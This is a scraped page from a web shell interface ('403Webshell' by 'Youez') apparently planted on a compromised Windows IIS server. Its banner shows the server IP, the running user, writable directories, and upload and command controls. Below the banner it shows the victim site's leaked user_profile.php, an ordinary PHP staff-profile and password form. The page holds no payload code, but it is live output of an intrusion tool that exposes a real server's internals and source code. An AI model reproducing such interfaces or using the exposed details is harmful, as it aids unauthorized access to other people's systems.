403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/msc/sources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/msc/sources/user_profile.php
<?php
	global $fields, $mCtrl, $retype_password;

	include_once 'lib/lib.php';
	require_once('sources/formautomation.php');
	
	$fields = new FormFieldsSet("msc_staff");
	$unfld = $fields->addString("username"); $unfld->ruleMinLength = 1; $unfld->isKey = TRUE;
	
	$fields->addSpacer(FormSpacer::tpHeader, "@[HDR_PERSONALDETAILS]");
	$fld = $fields->addString("surname"); $fld->ruleMinLength = 1;
	$fld = $fields->addString("forname"); $fld->ruleMinLength = 1;
	
	$fields->addSpacer(FormSpacer::tpHeader, "@[HDR_PASSWORD]");
	$fields->addSpacer(FormSpacer::tpComment, "@[CMNT_PASSWORD]");
	$fld = $fields->addPassword("password"); $fld->ruleMinLength = 6; $fld->usernameField = $unfld;
	$fields->addRow("@[LBL_RETYPEPASSWORD]:", "<input type=\"password\" name=\"retype_password\" value=\"\" style=\"width: 390px\" />");		
			
	function checkValidity(){
		global $fields, $mCtrl, $retype_password;
		
		$ret = TRUE;
		$fields->checkValidity();		
		if ($fields->numOfInvalid > 0){
			$ret = FALSE;
			$errMsg = "";
			if ($fields->numOfInvalid > 1){
				$errMsg = $mCtrl->str("WARNING_MULTIPLE_ERRORS");
				$errMsg = str_replace("@{NumOfErrors}", $fields->numOfInvalid, $errMsg);
			}else{
				$errMsg = $mCtrl->str("WARNING_SINGLE_ERROR");
				$fldLabel = $fields->invalidsArray[0]->getLabel($mCtrl);
				$errMsg = str_replace("@{ErrorField}", $fldLabel, $errMsg);			
			}
			$mCtrl->setFlashWarning($errMsg);					
		}else{
			if (strlen($fields->fieldsHash['password']->Value) > 0){
				if ($fields->fieldsHash['password']->Value != $retype_password){
					$ret = FALSE;
					$errMsg = $mCtrl->str("WARNING_RETYPEPASSWORD");
					$mCtrl->setFlashWarning($errMsg);	
				}
			}
		}
		return $ret;
	}
		
	$uid = $mCtrl->ConnectedUser->username;
	$mode = Utils::vRequest("mode");
	$action = Utils::vPost("action");
	$retype_password = Utils::vPost("retype_password");
	
	if (strlen($mode) ==0 ) $mode = "edit";
	
	if ((strlen($uid) == 0) && (strlen($mode) == 0)) $mCtrl->redirectTo();
	
	$showForm = FALSE;
	
	$fields->fieldsHash['password']->ruleMinLength = ($mode == "edit")? 0 : 6;

	switch ($action) {
		case 'edit':
			$fields->getValues();
			$fields->fieldsHash['username']->Value = $uid;
			if (checkValidity()){
				$fields->updateValuesToDB();					
				$mCtrl->setFlashMessage("changes saved successfully");					
			}			
			$showForm = TRUE;
			break;

		case 'new':
			$fields->getValues();
			$fields->fieldsHash['username']->Value = $uid;
			if (checkValidity()){
				$fields->insertValuesToDB();
				$mCtrl->setFlashMessage("new user saved successfully");					
				$mCtrl->redirectTo("@[URLROOT]/user_profile.php");
			}else{
				$showForm = TRUE;
			}			
			break;
		
		default:
			switch ($mode) {
				case 'new':
					
					break;
				
				default:
					if (strlen($uid) == 0) $mCtrl->redirectTo("@[URLROOT]/user_profile.php");
					$fields->fieldsHash['username']->Value = $uid;
					$fields->getValuesFromDB();
					
					break;
			}
			$showForm = TRUE;			
			break;
	}
	
	$mCtrl->printHeaders();
?>

<h2>@[PAGE_TITLE]</h2>

<?php	
	
	if ($showForm){
			$fields->fieldsHash['username']->readOnly = ($mode == "edit");
			$fields->fieldsHash['password']->Value = "";
?>

			<form name="user_form" method="POST">
				<input type="hidden" name="action" value="<?php echo $mode; ?>" />
				<table id="contacttable" cols="2">
			<?php
				$fields->render($mCtrl);
			?>
					
					<tr>
						<td></td>
						<td><input type="submit" name="butSubmit" value="@[LBL_SAVE]" onclick="return confirm('@[CONFIRM_SAVE]')" style="width: 390px;" /></td>
					</tr>
				</table>
			</form>

<?php		
	}		
?>

Youez - 2016 - github.com/yon3zu
LinuXploit